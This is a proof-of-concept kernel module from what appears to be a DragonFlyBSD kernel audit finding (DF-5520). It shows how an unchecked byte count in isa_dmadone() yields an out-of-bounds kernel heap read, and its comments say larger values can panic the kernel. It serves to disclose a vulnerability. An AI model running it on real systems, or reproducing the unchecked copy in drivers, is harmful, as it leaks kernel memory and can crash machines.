⬢ DragonFlyBSD Kernel Audit
DF-5520 / df5520.c
← back to finding ↓ download raw
/*
 * DF-5520 PoC (non-fatal) — sys/bus/isa/x86_64/isa_dma.c
 *
 * isa_dmadone() (isa_dma.c:351-357) bcopy()s `nbytes` bytes OUT of the
 * channel's bounce buffer WITHOUT validating nbytes against
 * dma_bouncebufsize[chan] -- the exact check isa_dmastart() performs at
 * isa_dma.c:241-244 before bcopy()ing INTO it.  A driver that passes a
 * done-size larger than the started size (or that calls dmadone after a
 * release/re-acquire cycle that left the stale `dma_bounced` bit set --
 * see the XXX comment at isa_dma.c:170-178) gets an out-of-bounds kernel
 * heap read whose contents land in the driver's buffer.
 *
 * Demo (root KLD, free DMA channel 1):
 *   m1 = contigmalloc(...) "CC";  init(1, 64)  -> 64-byte bounce chunk;
 *   m2 = contigmalloc(...) "DD"   (low arena slots are 64K-aligned, the
 *                                  bounce chunk sits between them)
 *   dmastart(READ, src, 64, 1)    -> programs transfer, bounce armed
 *   dmadone(READ, out, 0x20000,1) -> 128KB copied out of the 64-byte
 *                                    bounce buffer: OOB heap read.
 *   hexdump(out) shows kernel low-memory contents (and the 0xDD marker
 *   at the next 64K slot) -- leaked into a driver-accessible buffer.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/bus.h>
#include <bus/isa/isavar.h>

#ifndef DONE_NBYTES
#define DONE_NBYTES 0x800	/* silent OOB read within the chunk's page.
				 * NOTE: nbytes >= (mapped-window edge -
				 * chunk) -- observed 0x11000/0x20000 --
				 * deterministically panics in memmove
				 * called from isa_dmadone (see run.log,
				 * run.2.log: fault VA 0xffffffff82604000) */
#endif

static void
hexdump_region(const char *tag, const unsigned char *b, int off, int len)
{
	int i, j;

	for (i = off; i < off + len; i += 16) {
		kprintf("%s+%05x:", tag, i);
		for (j = 0; j < 16 && (i + j) < off + len; j++)
			kprintf(" %02x", b[i + j]);
		kprintf("\n");
	}
}

static int
df5520_modevent(module_t mod, int type, void *arg)
{
	unsigned char *m1, *m2, *outbuf, *srcbuf;
	int rc;

	switch (type) {
	case MOD_LOAD:
		rc = isa_dma_acquire(1);
		kprintf("df5520: isa_dma_acquire(1) = %d\n", rc);
		if (rc)
			return (0);

		/* prime the future bounce chunk with a pattern: allocate,
		 * dirty, free -- isa_dma_init(1,64) then reuses the chunk */
		m1 = contigmalloc(64, M_DEVBUF, M_NOWAIT, 0ul, 0xfffffful,
				  1ul, 0x10000ul);
		if (m1) {
			memset(m1, 0xE7, 64);
			contigfree(m1, 64, M_DEVBUF);
		}

		rc = isa_dma_init(1, 64, M_NOWAIT);
		kprintf("df5520: isa_dma_init(1,64) = %d (64-byte bounce chunk in the <16MB arena)\n", rc);
		if (rc)
			return (0);

		m2 = contigmalloc(64, M_DEVBUF, M_NOWAIT, 0ul, 0xfffffful,
				  1ul, 0x10000ul);
		if (m2)
			memset(m2, 0xDD, 64);

		srcbuf = kmalloc(4096, M_DEVBUF, M_WAITOK);
		memset(srcbuf, 0x42, 4096);
		outbuf = kmalloc(DONE_NBYTES, M_DEVBUF, M_WAITOK | M_ZERO);

		isa_dmastart(ISADMA_READ, srcbuf, 64, 1);
		kprintf("df5520: isa_dmastart(READ, 64 bytes, chan 1) programmed\n");

		kprintf("df5520: isa_dmadone(READ, nbytes=0x%x, chan 1): unclamped bcopy out of the 64-byte bounce buffer\n", DONE_NBYTES);
		isa_dmadone(ISADMA_READ, outbuf, DONE_NBYTES, 1);

		kprintf("df5520: outbuf contents past byte 64 are kernel low-memory data NOT part of any DMA transfer:\n");
		hexdump_region("df5520: leak", outbuf, 0x30, 0x50);
		hexdump_region("df5520: leak", outbuf, 0x400, 0x40);

		isa_dma_release(1);
		kprintf("df5520: done (kernel heap OOB read demonstrated; contents land in driver buffer)\n");
		return (0);
	default:
		return (0);
	}
}

static moduledata_t df5520_mod = { "df5520", df5520_modevent, NULL };
DECLARE_MODULE(df5520, df5520_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);